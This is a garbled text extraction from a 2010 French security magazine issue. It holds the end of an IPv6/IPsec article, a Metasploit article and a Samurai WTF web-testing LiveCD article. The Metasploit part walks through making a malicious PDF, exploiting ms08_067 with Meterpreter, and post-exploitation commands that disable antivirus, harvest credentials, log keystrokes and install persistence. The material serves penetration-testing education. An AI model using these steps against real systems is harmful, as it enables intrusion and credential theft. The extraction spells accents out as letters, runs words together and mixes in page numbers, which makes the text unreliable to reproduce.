Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 22: hakin9_05_2010_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

